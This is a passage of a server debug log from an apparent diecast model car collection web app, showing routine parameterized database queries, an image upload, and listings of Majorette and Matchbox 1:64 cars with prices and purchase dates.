      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T11:50:41.390Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-12T11:50:41.391Z server-connect:app Executing action step identify
2026-02-12T11:50:41.391Z server-connect:app options: { provider: 'security' }
2026-02-12T11:50:41.391Z server-connect:output identity: 1
2026-02-12T11:50:41.391Z server-connect:app Executing action step restrict
2026-02-12T11:50:41.391Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:50:41.392Z server-connect:output restrict: undefined
2026-02-12T11:50:41.392Z server-connect:app Executing action step condition
2026-02-12T11:50:41.392Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-12T11:50:41.392Z server-connect:app Executing action step insert
2026-02-12T11:50:41.392Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-12T11:50:41.395Z server-connect:output insert: { affected: 1, identity: 190 }
2026-02-12T11:50:41.395Z server-connect:app Executing action step condition
2026-02-12T11:50:41.395Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-12T11:50:41.395Z server-connect:app Executing action step upload
2026-02-12T11:50:41.395Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-12T11:50:41.395Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-12T11:50:41.395Z server-connect:upload Process fields: 'images[]'
2026-02-12T11:50:41.395Z server-connect:upload Processing file: {
  name: 'WhatsApp-Image-2026-01-18-at-00-23-00-1-_1.jpg',
  data: <Buffer >,
  size: 1032702,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-2-23842471770897041384',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '4285f2555f3e7e202ed02a314a38549f',
  mv: [Function: mv]
}
2026-02-12T11:50:41.396Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/WhatsApp-Image-2026-01-18-at-00-23-00-1-_1_24367c31-44a6-478f-b866-fbe437a9165f.jpg',
  rel: 'public/assets/images/diecast/WhatsApp-Image-2026-01-18-at-00-23-00-1-_1_24367c31-44a6-478f-b866-fbe437a9165f.jpg'
}
2026-02-12T11:50:41.396Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/WhatsApp-Image-2026-01-18-at-00-23-00-1-_1_24367c31-44a6-478f-b866-fbe437a9165f.jpg',
  rel: 'assets/images/diecast/WhatsApp-Image-2026-01-18-at-00-23-00-1-_1_24367c31-44a6-478f-b866-fbe437a9165f.jpg'
}
2026-02-12T11:50:41.396Z server-connect:output upload_image: [
  {
    name: 'WhatsApp-Image-2026-01-18-at-00-23-00-1-_1_24367c31-44a6-478f-b866-fbe437a9165f.jpg',
    path: '/public/assets/images/diecast/WhatsApp-Image-2026-01-18-at-00-23-00-1-_1_24367c31-44a6-478f-b866-fbe437a9165f.jpg',
    url: '/assets/images/diecast/WhatsApp-Image-2026-01-18-at-00-23-00-1-_1_24367c31-44a6-478f-b866-fbe437a9165f.jpg',
    type: 'image/jpeg',
    size: 1032702
  }
]
2026-02-12T11:50:41.396Z server-connect:app Executing action step repeat
2026-02-12T11:50:41.396Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-12T11:50:41.396Z server-connect:app Executing action step insert
2026-02-12T11:50:41.396Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-12T11:50:41.397Z server-connect:output images: { affected: 1, identity: 227 }
2026-02-12T11:50:41.397Z server-connect:output repeat_images: [ {} ]
2026-02-12T11:50:41.397Z server-connect:output condition: undefined
2026-02-12T11:50:41.397Z server-connect:output condition: undefined
2026-02-12T11:50:41.693Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T11:50:41.693Z server-connect:app Executing action step identify
2026-02-12T11:50:41.693Z server-connect:app options: { provider: 'security' }
2026-02-12T11:50:41.693Z server-connect:output identity: 1
2026-02-12T11:50:41.693Z server-connect:app Executing action step restrict
2026-02-12T11:50:41.693Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:50:41.694Z server-connect:output restrict: undefined
2026-02-12T11:50:41.694Z server-connect:app Executing action step paged
2026-02-12T11:50:41.694Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T11:50:41.698Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T11:50:57.677Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T11:50:57.677Z server-connect:app Executing action step identify
2026-02-12T11:50:57.677Z server-connect:app options: { provider: 'security' }
2026-02-12T11:50:57.678Z server-connect:output identity: 1
2026-02-12T11:50:57.678Z server-connect:app Executing action step restrict
2026-02-12T11:50:57.678Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:50:57.678Z server-connect:output restrict: undefined
2026-02-12T11:50:57.678Z server-connect:app Executing action step paged
2026-02-12T11:50:57.678Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T11:50:57.682Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 32,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
